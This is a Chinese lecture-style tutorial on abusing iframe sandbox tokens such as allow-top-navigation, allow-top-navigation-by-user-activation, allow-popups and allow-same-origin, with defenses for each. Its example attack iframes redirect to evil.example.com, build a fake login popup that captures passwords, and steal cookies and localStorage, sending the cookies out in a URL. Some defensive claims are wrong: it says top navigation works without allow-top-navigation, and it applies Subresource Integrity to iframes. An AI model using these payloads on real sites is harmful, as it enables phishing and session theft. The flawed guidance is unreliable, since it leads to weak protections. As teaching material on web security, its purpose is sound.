iframe sandbox 属性如何被利用进行权限升级或信息泄露?探讨 allow-top-navigation-by-user-activation 等特性的滥用。

各位同学,大家好!我是今天的讲师,咱们今天聊聊 iframe sandbox 的那些“坑”和“雷”。 别看这玩意儿好像是给 iframe 上了把锁,但锁没用对地方,或者钥匙保管不当,那可就热闹了。

开场白:iframe sandbox,天使与魔鬼

iframe sandbox,顾名思义,就是给 iframe 划定一个“沙盒”,限制其能力,防止恶意代码为所欲为。 听起来是不是很安全? 但凡事都有两面性,配置不当的 sandbox 反而可能成为攻击者手中的利器,造成权限提升甚至信息泄露。

sandbox 属性的基础知识:牢笼的构成

sandbox 属性是一个由空格分隔的 token 列表,每个 token 代表一个权限。 如果 sandbox 属性为空,或者根本没有 sandbox 属性,那么 iframe 将获得完全的权限(这可不是好主意!)。 如果 sandbox 属性存在,但没有任何 token,那么 iframe 将被限制到极致,几乎什么都做不了。

常见的 sandbox token 包括:

Token 描述
allow-forms 允许 iframe 提交表单。
allow-same-origin 允许 iframe 访问与其父页面相同的源(协议、域名、端口)。 这是最危险的 token 之一,务必谨慎使用。
allow-scripts 允许 iframe 执行脚本。
allow-top-navigation 允许 iframe 导航顶级浏览上下文(即刷新或跳转整个页面)。
allow-popups 允许 iframe 创建弹出窗口。
allow-pointer-lock 允许 iframe 使用 Pointer Lock API。
allow-modals 允许 iframe 调用 alert(), confirm(), prompt() 等方法。
allow-orientation-lock 允许 iframe 锁定屏幕方向。
allow-presentation 允许 iframe 启动演示会话。
allow-top-navigation-by-user-activation 允许 iframe 在用户激活后导航顶级浏览上下文。
allow-downloads 允许 iframe 下载文件。

案例一:allow-top-navigation 的威力与陷阱

allow-top-navigation 允许 iframe 改变顶级浏览上下文的 URL。 简单来说,就是 iframe 可以“劫持”整个页面,跳转到攻击者控制的恶意网站。

场景:

假设一个网站允许用户嵌入第三方 iframe,并且为了方便用户,添加了 allow-top-navigation 权限。

攻击代码 (恶意 iframe):

<!DOCTYPE html>
<html>
<head>
<title>Evil iframe</title>
</head>
<body>
  <script>
    window.top.location.href = "https://evil.example.com/phishing.html"; // 恶意网站
  </script>
</body>
</html>

宿主页面 (存在漏洞):

<!DOCTYPE html>
<html>
<head>
<title>Vulnerable Website</title>
</head>
<body>
  <h1>Welcome!</h1>
  <iframe src="evil.html" sandbox="allow-top-navigation"></iframe>
</body>
</html>

攻击过程:

  1. 用户访问宿主页面。
  2. 恶意 iframe 加载,执行 JavaScript 代码。
  3. window.top.location.href 将顶级浏览上下文的 URL 修改为恶意网站。
  4. 用户被重定向到钓鱼网站,可能被骗取用户名、密码等敏感信息。

风险:

  • 用户完全失去对页面的控制。
  • 可能被重定向到钓鱼网站、恶意软件下载页面等。

防御:

  • 永远不要轻易添加 allow-top-navigation 除非你完全信任 iframe 的来源。
  • 使用内容安全策略 (CSP) 来限制 iframe 的导航行为。

案例二:allow-top-navigation-by-user-activation 的“温柔陷阱”

allow-top-navigation-by-user-activationallow-top-navigation 的一种“温和”版本。 它只允许 iframe 在用户主动交互(例如点击、触摸)后才能导航顶级浏览上下文。 听起来是不是安全多了? 但魔鬼往往藏在细节中。

场景:

一个在线广告平台允许广告商嵌入 iframe 广告。 为了防止广告恶意跳转页面,平台使用了 allow-top-navigation-by-user-activation

攻击代码 (恶意广告 iframe):

<!DOCTYPE html>
<html>
<head>
<title>Malicious Ad</title>
</head>
<body>
  <button id="redirectButton">Click here for a free gift!</button>
  <script>
    document.getElementById("redirectButton").addEventListener("click", function() {
      window.top.location.href = "https://evil.example.com/phishing.html";
    });
  </script>
</body>
</html>

宿主页面 (存在漏洞):

<!DOCTYPE html>
<html>
<head>
<title>Website with Ads</title>
</head>
<body>
  <h1>Welcome!</h1>
  <iframe src="ad.html" sandbox="allow-top-navigation-by-user-activation"></iframe>
</body>
</html>

攻击过程:

  1. 用户访问宿主页面,看到广告 iframe 中的按钮“Click here for a free gift!”。
  2. 用户被诱导点击按钮。
  3. 由于是用户主动点击,iframe 获得了导航顶级浏览上下文的权限。
  4. 用户被重定向到钓鱼网站。

风险:

  • 用户仍然可能被欺骗点击,导致页面被劫持。

防御:

  • 不要信任任何来自第三方的内容。 即使使用了 allow-top-navigation-by-user-activation,也无法完全避免用户被欺骗。
  • 仔细审查广告内容,确保其合法性和安全性。
  • 使用 CSP 进一步限制 iframe 的行为。
  • 使用 Subresource Integrity (SRI) 来验证 iframe 资源的完整性。

案例三:allow-popups 与钓鱼的变种

allow-popups 允许 iframe 创建弹出窗口。 恶意 iframe 可以利用这一点,创建看似来自宿主网站的弹出窗口,诱骗用户输入敏感信息。

场景:

一个社交网站允许用户嵌入第三方应用(iframe)。 为了方便用户,网站允许应用创建弹出窗口。

攻击代码 (恶意应用 iframe):

<!DOCTYPE html>
<html>
<head>
<title>Malicious App</title>
</head>
<body>
  <button id="loginButton">Login with Social Account</button>
  <script>
    document.getElementById("loginButton").addEventListener("click", function() {
      // Create a fake login popup
      var popup = window.open("", "Login", "width=400,height=300");
      popup.document.body.innerHTML = `
        <h1>Login to [Social Website Name]</h1>
        <form>
          Username: <input type="text" name="username"><br>
          Password: <input type="password" name="password"><br>
          <button type="submit">Login</button>
        </form>
      `;
      // In a real attack, you'd send the data to an attacker's server
      popup.document.querySelector("form").addEventListener("submit", function(event) {
        event.preventDefault();
        var username = popup.document.querySelector("input[name=username]").value;
        var password = popup.document.querySelector("input[name=password]").value;
        alert("Stolen! Username: " + username + ", Password: " + password); // Replace with actual data exfiltration
        popup.close();
      });
    });
  </script>
</body>
</html>

宿主页面 (存在漏洞):

<!DOCTYPE html>
<html>
<head>
<title>Social Website</title>
</head>
<body>
  <h1>Welcome!</h1>
  <iframe src="app.html" sandbox="allow-popups"></iframe>
</body>
</html>

攻击过程:

  1. 用户访问社交网站,看到应用 iframe 中的按钮“Login with Social Account”。
  2. 用户点击按钮。
  3. 恶意 iframe 创建一个弹出窗口,模仿社交网站的登录界面。
  4. 用户误以为是社交网站的登录窗口,输入用户名和密码。
  5. 恶意 iframe 窃取用户名和密码。

风险:

  • 用户容易被迷惑,泄露敏感信息。

防御:

  • 尽量避免使用 allow-popups
  • 如果必须使用,务必限制弹出窗口的样式和内容,使其与宿主网站的风格明显不同。
  • 教育用户识别钓鱼攻击,不要轻易在弹出窗口中输入敏感信息。
  • 使用 CSP 限制 iframe 的弹出窗口行为。

案例四:allow-same-origin:信任的代价

allow-same-origin 允许 iframe 访问与其父页面相同的源。 这通常用于嵌入同一网站下的内容。 但这绝对是最危险的 token 之一。 如果 iframe 来源被攻破,攻击者可以利用 allow-same-origin 权限,控制整个宿主网站。

场景:

一个大型网站将部分功能放在独立的 iframe 中,并为了方便 iframe 访问主站的 cookie 和 localStorage,添加了 allow-same-origin 权限。

攻击代码 (假设 iframe 来源被攻破):

<!DOCTYPE html>
<html>
<head>
<title>Evil iframe (Same Origin)</title>
</head>
<body>
  <script>
    // Steal cookies
    var cookies = document.cookie;
    alert("Stolen Cookies: " + cookies); // Replace with actual data exfiltration

    // Access localStorage
    var sensitiveData = localStorage.getItem("secret");
    alert("Stolen Secret: " + sensitiveData); // Replace with actual data exfiltration

    // Redirect the page to a malicious site (even without allow-top-navigation)
    window.top.location.href = "https://evil.example.com/stolen_cookies.html?cookies=" + encodeURIComponent(cookies);
  </script>
</body>
</html>

宿主页面 (存在漏洞):

<!DOCTYPE html>
<html>
<head>
<title>Vulnerable Website</title>
</head>
<body>
  <h1>Welcome!</h1>
  <iframe src="internal_iframe.html" sandbox="allow-same-origin allow-scripts"></iframe>
  <script>
    // Store some sensitive data in localStorage (for demonstration purposes)
    localStorage.setItem("secret", "This is a very secret key!");
  </script>
</body>
</html>

攻击过程:

  1. 攻击者攻破 internal_iframe.html 所在的服务器,替换为恶意代码。
  2. 用户访问宿主页面。
  3. 恶意 iframe 加载,由于拥有 allow-same-origin 权限,它可以:
    • 窃取宿主网站的 cookie。
    • 访问宿主网站的 localStorage。
    • (虽然这里没有 allow-top-navigation,但是依然可以通过修改 window.top.location.href 重定向,除非 CSP 禁止)。

风险:

  • 完全控制宿主网站。
  • 窃取用户敏感信息。
  • 篡改网站内容。
  • 进行 XSS 攻击。

防御:

  • 永远不要轻易添加 allow-same-origin 除非你有非常充分的理由,并且完全信任 iframe 的来源。
  • 如果必须使用,务必采取严格的安全措施,确保 iframe 来源的安全。
  • 使用 Subresource Integrity (SRI) 来验证 iframe 资源的完整性。
  • 定期审查 iframe 代码,确保没有漏洞。
  • 尽量避免在 cookie 和 localStorage 中存储敏感信息。

通用防御策略:打造坚固的沙盒

除了针对特定 token 的防御措施外,还有一些通用的策略可以帮助你打造更坚固的 iframe 沙盒:

  1. 最小权限原则: 只授予 iframe 必要的权限。 不要为了“方便”而添加不必要的 token。

  2. 内容安全策略 (CSP): 使用 CSP 进一步限制 iframe 的行为,例如限制脚本来源、禁止内联脚本、限制导航目标等。

    <iframe src="iframe.html" sandbox="allow-scripts" csp="script-src 'self'; object-src 'none';"></iframe>
  3. Subresource Integrity (SRI): 使用 SRI 来验证 iframe 资源的完整性,确保其没有被篡改。

    <iframe src="https://example.com/iframe.js" integrity="sha384-..." crossorigin="anonymous"></iframe>
  4. 定期审查代码: 定期审查 iframe 代码,确保没有漏洞。

  5. 教育用户: 教育用户识别钓鱼攻击,不要轻易点击不明链接或在不可信的网站上输入敏感信息。

  6. 使用 HTTP Header 强制 sandbox: 在 HTTP 响应头中添加 Content-Security-Policy 来强制 sandbox 属性,可以避免攻击者通过修改 HTML 代码来绕过沙箱。

    Content-Security-Policy: frame-ancestors 'none'; sandbox allow-scripts allow-forms;

总结:沙盒不是万能的,安全需要谨慎

iframe sandbox 是一种非常有用的安全机制,但它并非万能的。 配置不当的 sandbox 反而可能成为安全漏洞。 要想打造坚固的沙盒,需要遵循最小权限原则,使用 CSP 和 SRI 等其他安全措施,并定期审查代码。最重要的是,要始终保持警惕,不要信任任何来自第三方的内容。

记住,安全是一场永无止境的军备竞赛。 攻击者总是在寻找新的方法来绕过防御,而我们则需要不断学习和改进,才能保护我们的网站和用户免受攻击。

今天的讲座就到这里,希望大家有所收获! 谢谢大家!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注